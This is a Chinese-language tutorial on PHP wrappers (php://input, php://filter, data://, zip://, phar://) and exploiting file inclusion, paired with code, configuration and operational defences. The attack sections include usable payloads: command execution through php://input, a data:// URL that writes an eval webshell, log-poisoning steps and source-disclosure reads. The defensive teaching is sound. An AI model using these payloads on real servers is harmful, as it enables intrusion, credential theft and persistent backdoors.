1. 项目概述:为什么PHP伪协议是安全攻防的焦点
在Web安全领域,PHP的文件包含漏洞(File Inclusion Vulnerability)一直是个老生常谈却又历久弥新的话题。它不像SQL注入那样直观,也不像XSS那样容易被感知,但一旦被利用,其危害性往往是“降维打击”级别的。而在这个漏洞的利用链中,PHP伪协议(PHP Wrappers)扮演着“瑞士军刀”般的核心角色。我处理过不少应急响应案例,攻击者往往就是通过一个不起眼的文件包含点,配合伪协议,直接读取了服务器上的配置文件、数据库连接信息,甚至执行了系统命令,拿到了服务器权限。
简单来说,PHP伪协议是PHP提供的一套用于访问各种流(如文件、网络、数据压缩等)的封装器。它们以php://、file://、zip://等协议前缀的形式出现。在正常开发中,它们是强大的工具;但在存在文件包含漏洞的代码中,它们就成了攻击者打开潘多拉魔盒的钥匙。这个项目标题“PHP伪协议实战:从文件包含漏洞到安全防御”,精准地指向了从攻击手法理解到防御策略构建的完整闭环。对于开发者、安全研究员和运维人员而言,深入理解伪协议,不仅是加固自身应用的需要,更是理解攻击者思维、提升安全纵深防御能力的关键一步。
接下来,我将从一个实战者的角度,拆解伪协议利用的核心原理、常见手法,并分享如何从代码层、架构层进行有效防御。无论你是想排查自家代码的风险,还是学习安全测试技术,这篇文章都会提供可直接操作的思路和代码示例。
2. 核心原理:伪协议如何绕过常规文件操作
要理解攻击,必须先理解机制。PHP伪协议的本质,是PHP流包装器(Stream Wrappers)的一种表现形式。它允许我们使用类似文件操作的函数(如fopen()、file_get_contents()、include/require)来访问不仅仅是本地文件,还包括内存、压缩包、网络资源等。
2.1 文件包含漏洞的根源
文件包含漏洞通常源于开发者动态包含文件时,未对用户输入进行严格过滤。典型代码如下:
// vulnerable.php $page = $_GET['page']; include('/pages/' . $page . '.php');开发者的本意可能是包含/pages/home.php或/pages/about.php。但当攻击者传入page=../../../etc/passwd时,代码就可能变成include('/pages/../../../etc/passwd.php'),通过路径遍历读取系统文件。而伪协议的引入,让这种利用不再局限于路径遍历,打开了更多可能性。
2.2 关键伪协议详解与利用场景
并非所有伪协议在文件包含中都有用,最危险的是那几个能与include、require、file_get_contents等函数结合,并导致代码执行或信息泄露的。
2.2.1 php://input这是最危险的协议之一。它允许访问请求的原始主体(POST数据)。当allow_url_include配置为On时(默认是Off,但某些老旧或配置不当的环境会开启),攻击者可以这样利用:
GET /vulnerable.php?page=php://input HTTP/1.1 ... POST: <?php system('id'); ?>服务器端的include会执行POST体中的PHP代码。我曾在一次内部渗透测试中,利用这个协议在目标服务器上直接建立了WebShell。
注意:
allow_url_include在现代PHP版本和高安全要求环境中已被强烈建议关闭。检查你的php.ini是第一步。
2.2.2 php://filter这是信息泄露的“神器”。它不对数据进行执行,而是进行过滤转换。最经典的利用是读取PHP文件源码:
/vulnerable.php?page=php://filter/read=convert.base64-encode/resource=index.php这里,php://filter是一个过滤器,read=convert.base64-encode表示以Base64编码方式读取,resource=index.php是目标文件。include函数会尝试包含这个“流”,而过滤器会将index.php的内容进行Base64编码后输出。因为Base64编码只包含可视字符,所以源码不会被当作PHP执行,而是以文本形式显示。攻击者拿到Base64字符串后解码即可获得源码。我常用这个方法来审计无法直接访问的配置文件,如config.php。
2.2.3 file://这是最直接的协议,用于访问本地文件系统。当存在文件包含且路径可控时,可以直接读取任意文件:
/vulnerable.php?page=file:///etc/passwd它的利用条件相对简单,不需要特殊的PHP配置,只需要能跨目录。
2.2.4 data://类似于php://input,但它将数据内嵌在URI中。也需要allow_url_include=On。
/vulnerable.php?page=data://text/plain,<?php phpinfo();?> // 或者Base64编码,避免特殊字符问题 /vulnerable.php?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+这种利用方式非常隐蔽,所有攻击载荷都在URL参数里。
2.2.5 zip:// 与 phar://这两个协议用于处理压缩包。zip://可以访问ZIP压缩包内的特定文件,而phar://是PHP归档格式,功能更强大,甚至能触发PHP对象反序列化,是高级利用手段。
// 假设有一个shell.zip,里面包含shell.php /vulnerable.php?page=zip:///path/to/shell.zip%23shell.php // 注意#号需要URL编码为%23攻击者可以先上传一个包含恶意代码的ZIP文件(比如通过头像上传功能),然后利用文件包含漏洞指向这个ZIP包内的PHP文件,从而绕过对直接上传PHP文件的限制。
2.3 环境配置与协议生效条件
理解利用条件至关重要,这能帮你准确评估风险:
allow_url_fopen: 控制是否允许将URL(如http://,ftp://)作为文件打开。影响file_get_contents(‘http://…’)。默认常为On。allow_url_include: 控制是否允许include、require等包含函数使用URL。这是php://input和data://协议执行代码的关键。默认是Off,这是最重要的安全配置之一。- 文件包含函数: 漏洞发生的起点。除了
include/require,还有include_once、require_once,以及fopen、file_get_contents、file_put_contents等文件操作函数如果参数可控,也可能引发问题。
在实际排查中,我会首先检查php.ini中这两个配置项的状态,并审查所有用户输入传入文件操作函数的地方。
3. 实战攻击链拆解:从发现漏洞到获取权限
纸上得来终觉浅。我们通过一个模拟的实战场景,将上述协议串联起来,看攻击者如何一步步深入。假设我们有一个存在文件包含漏洞的CMS。
3.1 第一步:漏洞发现与初步信息收集
攻击者首先会进行试探。常见的探测载荷包括:
/index.php?page=../../../../etc/passwd /index.php?page=php://filter/read=convert.base64-encode/resource=index.php如果第一个返回了用户列表,说明存在路径遍历。如果第二个返回了一串Base64编码,解码后是index.php的源码,那么恭喜攻击者(同时也警示我们),漏洞存在且php://filter可用。
通过php://filter,攻击者可以系统地读取关键源码:
- 读取配置文件:
resource=config/database.php,获取数据库用户名、密码。 - 读取后台入口:
resource=admin/index.php,分析后台逻辑。 - 读取类文件:
resource=lib/User.class.php,寻找序列化点或其他漏洞。
我曾经在一次授权测试中,仅通过这个协议,就拿到了目标的数据库凭证、加密密钥和后台管理地址,为后续攻击铺平了道路。
3.2 第二步:尝试代码执行与突破
拿到源码后,攻击者会分析环境。如果发现allow_url_include可能为On(有时通过报错信息或配置备份文件可推断),就会尝试代码执行。
利用php://input执行命令:
curl -X POST "http://target.com/vuln.php?page=php://input" --data "<?php system('whoami'); ?>"如果成功,会返回Web服务进程的运行用户(如www-data、apache)。
利用data://写入文件:如果执行成功但需要持久化,可以尝试写入一个Webshell。
/vuln.php?page=data://text/plain,<?php file_put_contents('shell.php', '<?php eval($_POST[cmd]);?>');?>访问这个URL,就会在网站根目录生成一个shell.php的Webshell。
3.3 第三步:利用压缩包协议绕过上传限制
这是更高级的场景。假设网站有头像上传功能,只允许.jpg、.png。攻击者可以:
- 创建一个
shell.php,内容为<?php phpinfo();?>。 - 将其压缩为
shell.zip。 - 将
shell.zip重命名为shell.jpg并上传。服务器可能只检查了后缀名,文件被成功上传到/uploads/avatar/shell.jpg。 - 利用文件包含漏洞,包含这个“图片”:
如果服务器配置允许/vuln.php?page=zip:///var/www/html/uploads/avatar/shell.jpg%23shell.phpzip://协议,且包含点路径可跳转到上传目录,那么shell.php中的代码将被执行。
实操心得:在实际渗透中,phar://比zip://更强大,因为它能触发PHP对象的反序列化,可能直接导致远程代码执行(RCE),而不需要包含一个具体的PHP文件。构造一个恶意的phar文件,诱使目标应用进行file_exists(‘phar://…’)或类似操作,就可能触发漏洞。这在一些依赖phar进行插件管理的应用中尤其危险。
3.4 攻击链总结与威胁建模
一个完整的攻击链可能如下:
- 信息收集-> 利用
php://filter读取源码,了解应用结构、配置、寻找其他漏洞。 - 权限试探-> 利用
php://input或data://尝试执行代码,确认allow_url_include状态和当前权限。 - 持久化-> 通过代码执行写入Webshell,或利用上传功能配合
zip:///phar://植入后门。 - 横向移动-> 以Web服务权限为跳板,读取服务器其他用户文件、SSH密钥,尝试提权。
理解这个链条,你就能站在攻击者的角度思考防御的薄弱点。
4. 深度防御策略:从代码到架构的多层防护
知道了攻击怎么来,我们就要筑起墙。防御不是简单的一两个配置,而是一个从代码编写到服务器配置的纵深体系。
4.1 代码层防御:白名单与严格过滤
这是最根本、最有效的一层。
4.1.1 使用白名单机制绝对不要使用黑名单。对于文件包含,如果可能,应彻底放弃动态包含,或使用严格的白名单。
// 安全做法:白名单 $allowed_pages = ['home', 'about', 'contact']; $page = $_GET['page']; if (in_array($page, $allowed_pages)) { include('/pages/' . $page . '.php'); } else { include('/pages/error.php'); // 或者直接 die('Invalid page requested.'); }4.1.2 严格过滤输入如果必须动态包含,进行强过滤。
$page = $_GET['page']; // 移除目录遍历字符 $page = str_replace(['../', '..\\', '.\\', '/', '\\'], '', $page); // 或者更严格地,只允许字母数字 if (!preg_match('/^[a-zA-Z0-9_]+$/', $page)) { die('Invalid input'); } // 添加固定后缀,防止截断攻击(PHP版本<5.3.4需注意%00空字节截断) include('/pages/' . $page . '.php');重要提示:空字节截断(
%00)在PHP 5.3.4及以上版本已被修复,但如果你的环境是老旧版本,这仍然是一个威胁。过滤时应考虑urldecode后的结果。
4.1.3 使用绝对路径或限制根目录
// 定义基础目录,并确保包含文件在此目录下 $base_dir = '/var/www/html/pages/'; $page = $_GET['page']; $file = realpath($base_dir . $page . '.php'); // 检查真实路径是否以基础目录开头 if ($file && strpos($file, $base_dir) === 0 && is_file($file)) { include($file); } else { die('Access denied.'); }realpath()函数会解析所有符号链接和../,返回绝对路径,再通过strpos检查是否在允许的目录内,这是非常可靠的方法。
4.2 配置层防御:收紧PHP环境
代码是人写的,难免有疏忽。服务器配置是第二道防线。
4.2.1 关键php.ini配置
; 禁用URL包含,这是重中之重! allow_url_include = Off ; 考虑禁用URL fopen,除非应用确实需要从远程获取资源 allow_url_fopen = Off ; 设置安全的open_basedir,将PHP可操作的文件限制在指定目录树内 open_basedir = /var/www/html:/tmpopen_basedir是一个重要的安全限制,但它不是万能的。它不能防止所有类型的文件包含攻击(例如,在限制目录内的文件包含),且可能影响某些正常功能,需要根据应用情况测试后设置。
4.2.2 禁用危险函数在php.ini的disable_functions中,可以考虑禁用一些高危函数,虽然这对伪协议包含本身影响有限,但能阻断后续攻击。
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,phpinfo禁用phpinfo可以防止信息泄露。但注意,这可能会影响某些合法的调试或运维功能。
4.3 架构与运维层防御
4.3.1 最小权限原则
- 文件系统权限:确保Web服务器进程用户(如
www-data、nobody)对网站根目录只有读和执行权限,对上传目录只有写权限,对配置文件、日志等敏感文件无读取权限。 - 数据库权限:应用使用的数据库账户应只具有特定库的特定操作权限(SELECT, INSERT, UPDATE, DELETE),杜绝
GRANT ALL,DROP,FILE等权限。
4.3.2 安全上传策略
- 文件存储隔离:将上传的文件存储在Web根目录之外。通过一个单独的脚本(如
download.php?id=xxx)来提供下载服务。这样,即使上传了恶意文件,也无法通过直接的URL访问或包含。 - 文件重命名与类型检查:上传文件后,使用随机字符串(如UUID)重命名,并保留原始扩展名或根据MIME类型设置扩展名。不要依赖客户端传来的文件类型(
$_FILES[‘file’][‘type’]),而应使用finfo_file()函数检测真实的MIME类型。$finfo = finfo_open(FILEINFO_MIME_TYPE); $mime_type = finfo_file($finfo, $_FILES['file']['tmp_name']); finfo_close($finfo); $allowed_types = ['image/jpeg' => 'jpg', 'image/png' => 'png']; if (!array_key_exists($mime_type, $allowed_types)) { die('Invalid file type.'); } $new_filename = uniqid() . '.' . $allowed_types[$mime_type];
4.3.3 定期更新与安全审计
- 保持PHP版本更新:使用受支持的PHP版本,并及时打上安全补丁。老版本PHP(如5.x)存在更多已知漏洞。
- 代码审计:定期对代码进行安全审计,特别是对用户输入的处理逻辑。可以使用静态代码分析工具(如
phpcs配合安全规则、RIPS等)进行辅助扫描。 - 入侵检测与日志监控:确保Web服务器(如Nginx/Apache)和PHP的错误日志正常开启并定期审查。关注日志中出现的异常路径访问、大量的
../序列或伪协议字符串。
5. 高级利用与疑难问题排查
即使做了基础防御,攻击者也可能找到迂回路径。这里分享一些高级场景和排查技巧。
5.1 伪协议与本地文件包含(LFI)到远程代码执行(RCE)的转换
这是攻击者梦寐以求的升级。如果只有本地文件包含(LFI),如何实现RCE?除了依赖allow_url_include,还有一些“奇技淫巧”。
5.1.1 利用日志文件注入Web服务器(如Apache、Nginx)的访问日志、错误日志,或SSH的auth.log,都可能成为注入点。如果攻击者能控制User-Agent或请求路径,并且Web进程有权限读取日志文件,那么:
- 攻击者发送一个请求,在User-Agent中携带PHP代码:
User-Agent: <?php system($_GET[‘c’]); ?> - 这个请求会被记录到访问日志中(例如
/var/log/apache2/access.log)。 - 攻击者利用LFI漏洞包含这个日志文件:
/vuln.php?page=/var/log/apache2/access.log - 服务器会执行日志文件中的PHP代码。
- 攻击者再传递参数执行命令:
/vuln.php?page=/var/log/apache2/access.log&c=id
防御方法:确保日志文件权限严格(如640,属主root,组adm,Web进程无读取权限),或将日志存储在Web用户无法访问的目录。
5.1.2 利用/proc/self/environ在Linux系统中,/proc/self/environ文件包含了当前进程的环境变量。如果攻击者能通过某种方式(例如,在请求中设置User-Agent,该值有时会出现在HTTP_USER_AGENT环境变量中)控制环境变量,并且进程有权限读取自己的environ文件,就可能注入代码。不过,现代环境下这种利用条件比较苛刻。
5.1.3 利用PHP Session文件PHP Session文件通常存储在/tmp或指定目录,文件名类似sess_[sessionid],内容是可预测的序列化数据。如果攻击者能知道或预测Session文件路径,并能向Session中写入数据(例如,通过应用本身的功能设置$_SESSION[‘data’] = ‘payload’),那么就有可能通过LFI包含这个Session文件来执行代码。这需要攻击者能控制Session的部分内容和知道文件路径。
5.2 常见配置误判与排查命令
很多问题源于对环境的错误判断。以下是一些实用的排查命令和思路:
检查PHP配置:
# 创建一个phpinfo文件 echo "<?php phpinfo(); ?>" > info.php # 访问后,搜索 allow_url_include, allow_url_fopen, open_basedir, disable_functions # 或者在命令行使用(如果安装了php-cli) php -i | grep -E "allow_url_(include|fopen)|open_basedir|disable_functions"不要完全依赖
phpinfo()的输出,因为Web服务器可能使用与CLI不同的php.ini文件。检查文件权限:
# 查看Web根目录及关键文件权限 ls -la /var/www/html/ # 查看上传目录权限 ls -la /var/www/html/uploads/ # 查看进程运行用户 ps aux | grep -E "(apache|httpd|nginx|php-fpm)"模拟攻击测试: 在授权环境下,可以编写简单的脚本测试包含漏洞是否存在。
// test_lfi.php $test_urls = [ ‘http://target.com/vuln.php?page=../../../../etc/passwd’, ‘http://target.com/vuln.php?page=php://filter/read=convert.base64-encode/resource=index.php’, // 谨慎测试执行类协议 // ‘http://target.com/vuln.php?page=php://input’ (配合POST) ]; foreach ($test_urls as $url) { $response = file_get_contents($url); if (strpos($response, ‘root:’) !== false || strlen($response) > 1000) { // 简单判断 echo “Potential vulnerability: $url\n”; } }
5.3 现代框架与CMS的防护情况
大多数现代PHP框架(如Laravel、Symfony)和主流CMS(如WordPress、Drupal)在其核心代码中已经较好地避免了直接的文件包含漏洞。它们通常使用路由机制和自动加载,不直接使用include包含用户可控的变量。
风险点往往出现在:
- 自定义代码/插件/主题:开发者自己编写的功能模块,或者从非官方渠道下载的插件、主题,是重灾区。
- 老旧版本:未及时更新的CMS,可能包含已知的包含漏洞。
- 不安全的配置:为了“方便”,手动修改配置开启了
allow_url_include。
因此,即使使用了框架或CMS,安全审计和更新维护同样不可或缺。
6. 安全开发习惯与自动化检查
防御的最后一道防线,是开发者的安全意识和平时的好习惯。
6.1 编码时必须遵守的纪律
- 永远不要相信用户输入:对所有来自
$_GET、$_POST、$_REQUEST、$_COOKIE、$_SERVER(部分)的输入进行验证和过滤。 - 使用参数化查询或ORM:防止SQL注入,这能避免数据库被攻破后导致的二次灾难(如通过数据库导出文件到Web目录)。
- 错误信息处理:在生产环境关闭
display_errors,将error_reporting设置为合理的级别(如E_ALL & ~E_NOTICE & ~E_STRICT & ~E_DEPRECATED),并将错误日志记录到文件中,而不是显示给用户。暴露的路径信息或SQL语句是攻击者的路标。 - 最小化函数使用:如果不需要
eval()、assert()、create_function()等动态代码执行函数,就在disable_functions中禁用它。
6.2 自动化工具辅助
人工审计难免遗漏,可以借助工具:
- 静态应用安全测试(SAST):
- PHPStan / Psalm:虽然主要是代码质量工具,但通过自定义规则也能发现一些安全问题。
- RIPS(开源版已停止开发,但有旧版可用):专为PHP设计的静态代码分析工具,能有效识别文件包含、SQL注入等漏洞。
- SonarQube with PHP Plugin:提供持续的代码质量与安全检测。
- 动态应用安全测试(DAST):
- OWASP ZAP:开源Web应用漏洞扫描器,可以自动化地测试文件包含等漏洞。
- Burp Suite:专业的手动/半自动化测试工具,搭配主动/被动扫描功能。
- 依赖项检查:
- Composer:使用
composer audit命令(Composer 2.4+)检查已安装包的安全漏洞。 - GitHub Dependabot / GitLab Dependency Scanning:如果代码托管在这些平台,可以启用自动依赖项漏洞告警。
- Composer:使用
6.3 应急响应预案
如果怀疑或确认被利用,应该怎么做?
- 隔离:立即将受影响的服务器或容器从网络中断开,防止进一步扩散。
- 取证:备份所有日志(Web访问日志、错误日志、系统日志)、被篡改的文件、以及可能存在的恶意文件(Webshell)。使用
find命令查找最近被修改的PHP文件:find /var/www/html -name “*.php” -mtime -1。 - 清除:根据取证结果,彻底删除恶意文件。如果无法确定,考虑从干净的备份中恢复代码。
- 溯源与加固:分析漏洞根源,是哪个文件、哪行代码的问题?按照前面提到的防御策略进行修复。修改所有相关密码(数据库、服务器用户等)。
- 监控:修复后,加强监控,观察是否有异常访问再次出现。
文件包含与伪协议的安全问题,归根结底是“控制”与“信任”的问题。作为开发者,我们需要牢牢控制程序的行为边界,对任何来自外部的输入保持绝对的不信任。通过代码层的白名单、输入过滤,配置层的严格限制,以及运维层的权限控制和监控,我们可以构建一个足够健壮的防御体系,让攻击者无从下手。安全是一个持续的过程,而非一劳永逸的状态,保持警惕和学习,是应对不断演变威胁的唯一法宝。